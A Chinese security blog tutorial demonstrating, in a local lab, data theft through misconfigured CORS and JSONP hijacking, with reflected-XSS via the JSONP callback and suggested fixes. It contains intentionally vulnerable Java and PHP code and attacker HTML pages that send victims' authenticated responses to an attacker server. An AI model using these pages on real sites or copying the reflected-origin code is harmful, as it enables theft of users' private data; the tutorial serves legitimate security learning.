zoukankan      html  css  js  c++  java
  • CORS与JSONP配置不当所导致的信息泄露

    CORS

    CORS作用

    CORS(跨域资源共享)是用来实现跨域资源访问的,比如a.comb.com 2个站,a.com要访问b.com的资源,正常情况下是访问不了的。但是有cors就可以利用ajax来访问b.com的内容了,并且在一定配置下a.com甚至可以利用b.com下的cookie,又因为是ajax请求,因此可以使用多种请求头(POST, HEAD, GET)

    CORS配置

    CORS的配置有2个比较重要的参数,这2个参数是在被请求的站中配置的(这里就是b.com)并且在请求头中的形式存在,即response回来的时候会有显示

    用来申明什么站可以享有本站的资源

    Access-Control-Allow-Origin: evil.com
    

    用来申明是否可以带上cookie

    Access-Control-Allow-Credentials: true   //true表示可以,false表示不行,默认为false
    

    但是稍微注意下如果是如下配置,虽然可以让任意站访问资源,但是不会带上cookie的

    Access-Control-Allow-Origin: *
    Access-Control-Allow-Credentials: true
    

    在java中可以使用下面函数定义

    String origin = request.getHeader("origin");
    response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的response.setHeader("Access-Control-Allow-Credentials", "true");  // cookie
    

    在php中可以设置下返回的请求头

    header("Access-Control-Allow-Origin:http://www.evil.com");
    header("Access-Control-Allow-Credentials:true");
    
    CORS带上cookie的利用

    整个利用过程有点像CRSF,即其实是诱导用户去点击恶意的连接,并且把信息发到日志中的效果,用户的cookie是什么只有在用户的浏览器上看得到,而攻击者最多获得返回的结果

    带上cookie,并不意味着能拿到cookie,最先我以为是能够拿到对方的cookie的值,但是实际上是拿不到的。举个例子

    用户a  cookie:user=a;
    用户b  cokkie:user=b;
    
    请求b.com后,返回信息
    用户a {'user': 'a', 'password':'123'}
    用户b {'user': 'b', 'password':'456'}
    

    而CORS,假设用户a来触发了这个漏洞,那么攻击者能够获得的是

    {'user': 'a', 'password':'123'}
    

    但他并不知道

    cookie:user=a;
    

    接下来利用需要2个站,我服务器使用的是github上的一个java漏洞项目:https://github.com/JoyChou93/java-sec-code

    漏洞服务器,本机的10.10.10.1:8080/cors/vuls1

    恶意脚本网站,虚拟机10.10.10.128/cors/steal.html

    在本机10.10.10.1:8080上启动服务,我这里在原先的代码上新加了条cookie

        protected static String info = "{"name": "JoyChou", "phone": "18200001111"}";
    
        @RequestMapping("/vuls1")
        @ResponseBody
        private static String vuls1(HttpServletRequest request, HttpServletResponse response) {
            Cookie cookie1=new Cookie("aaa","AAA");
            response.addCookie(cookie1);
            // 获取Header中的Origin
            String origin = request.getHeader("origin");
            response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
            response.setHeader("Access-Control-Allow-Credentials", "true");  // cookie
            return info;
        }
    

    在虚拟机服务器上的html代码如下

    <!DOCTYPE html>
    <html>
    <body>
    <div id="demo">
    <button type="button" onclick="cors()">Exploit</button>
    </div>
     
    <script>
    function cors() {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          document.getElementById("demo").innerHTML = alert(this.responseText);
          //利用下面代码发送到日志中去
          //location="//10.10.10.128/cors/?response="+this.responseText;
        }
      };
      xhttp.open("GET", "http://10.10.10.1:8080/cors/vuls1", true);
      xhttp.withCredentials = true;
      xhttp.send();
    }
    </script>
    </body>
    </html>
    

    ajax发送跨域请求的时候,它会在请求头自动带上origin字段

    此时有一名用户,访问了我本机的服务

    10.10.10.1:8080/cors/vuls1
    

    正常获得了以下信息,并且有cookie了

    该用户访问恶意网站,那么会出现以下页面

    点击exploit后,跳转到index.php页面了,但是信息被记录在攻击者的服务器上了

    当然,把跳转发到服务器上给关闭了,查看下network的请求,也可以看到它的一个工作原理

    可以看到本来该站没有cookie的,但是把用户10.10.10.1:8080域下的cookie给发送过去了,并且成功的活动了返回值

    CORS不能对cookie的利用

    服务器端不需要cookie的话,只需要设置成这样

    Access-Control-Allow-Credentials: false
    

    接下来,再试下刚刚的请求方式

    cookie依然带着的,但是没有信息回显的情况,可以理解为把cookie传了过去,但是,服务器没有接受处理请求,response的头的Access-Control-Allow-Credentials是false了

    如果利用被设置成false的,可以使用缓存投毒造成xss,但是目前先挖个坑,之后再补上

    修复建议

    采用白名单的形式对origin进行限制

    JSONP劫持

    jsonp的作用

    jsonp和CORS的作用都是用来跨域获取信息的,而jsonp是用get形式来获取信息,一般是有个叫callback的参数,它会利用去获取服务器的信息,然后将callback的参数作为自己的某个js函数名,来处理收到的数据

    服务器端jsonp的写法

    在php下可以使用

    <?php
    header('Content-type: application/json');
    $callback = htmlspecialchars($_REQUEST ['callback']);//获取回调函数名
    //json数据
    //$json_data = '["id","user"]';
    $json_data='({"id":"1","name":"Aaron"})';
    echo $callback . "(" . $json_data . ")";
    ?>
    

    在java下可以这么写

        protected static String info = "{"name": "JoyChou", "phone": "18200001111"}";
    
        // http://localhost:8080/jsonp/referer?callback=test
        @RequestMapping("/referer")
        @ResponseBody
        private static String referer(HttpServletRequest request, HttpServletResponse response) {
            // JSONP的跨域设置
            response.setHeader("Access-Control-Allow-Origin", "*");
            String callback = request.getParameter("callback");
            return callback + "(" + info + ")";
        }
    
    利用

    利用方式是在攻击者服务器上创建个html页面,诱导受害者去点击,即可获对应的受害者访问过的取存在漏洞缺陷的网站的个人信息,因为callback回来的js函数是攻击者服务器是的js函数,因此一般这个函数用来打印出获取的信息或者发送到日志里面去

    存在jsonp服务器: 10.10.10.1

    攻击者服务器:10.10.10.128

    漏洞url为10.10.10.1:8080/jsonp/referer,在攻击者服务器上挂上以下的html页面

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>JSONP劫持测试</title>
    </head>
    <body>
    <script type="text/javascript">
    function test(result)
            {
                alert(JSON.stringify(result))
            }
    
    function sendtoserver(result){
        var xmlhttp;
        if (window.XMLHttpRequest)
        {
            xmlhttp=new XMLHttpRequest();
        }
        else
        {
    	xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
        }
    
        var url = "http://10.10.10.128/jsonp/index.php?result=" + JSON.stringify(result);
        xmlhttp.open("GET",url,true);
        xmlhttp.send();
    }
    </script>
    
    <!--<script type="text/javascript" src="http://10.10.10.1:8080/jsonp/referer?callback=test"></script>-->
    <script type="text/javascript" src="http://10.10.10.1:8080/jsonp/referer?callback=sendtoserver"></script>
    </body>
    </html>
    

    受害者去访问攻击者的服务器url

    10.10.10.128/jsonp/index.html
    

    那么就能返回目标在漏洞页面获取的json数据了

    造成反射型xss

    造成xss是因为没有规定返回值为json格式,而是text格式,所导致的

    因为callback可控,而正常情况下是这样的 callback(var), 可控的话可以做到这样alert(1)//(var)

    <?php
    //header('Content-type: application/json');
    $callback = $_REQUEST ['callback'];
    $json_data='({"id":"1","name":"Aaron"})';
    echo $callback . "(" . $json_data . ")";
    ?>
    

    那么请求下面的url就能触发反射性xss

    http://127.0.0.1/tmp/jsonp.php?callback=<script>alert(1)</script>
    

    修复方法

    对于xss很简单,直接使用json的返回格式即可

    对于劫持可以利用,因为是前端的利用,可以设置referer来设置白名单排除恶意站点,注意下空referer被绕过现象

       @RequestMapping("/sec")
        @ResponseBody
        private static String sec(HttpServletRequest request, HttpServletResponse response) {
            // JSONP的跨域设置
            response.setHeader("Access-Control-Allow-Origin", "*");
            String referer = request.getHeader("referer");
    
            if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) {
                return "error";
            }
    
            String callback = request.getParameter("callback");
            return callback + "(" + info + ")";
        }
    

    当然你也可以使用cors

    参考:

    https://xz.aliyun.com/t/2745

    https://cloud.tencent.com/developer/article/1380045

    https://blog.csdn.net/qq_33020901/article/details/79294147

  • 相关阅读:
    Flashback version/Transaction Query,FlashbackTable
    Flashback Query(函数示例)
    FlashbackQuery:SCN与timestamp示例
    Flashback Drop实例操作
    Flashback Recovery Area的设置与取消
    flashback database操作步骤
    Oracle-nomount/mount/open
    oracle开启/关闭归档模式
    Eclipse 设置代码风格
    Eclipse 打包Web项目
  • 原文地址:https://www.cnblogs.com/sijidou/p/13114351.html
Copyright © 2011-2022 走看看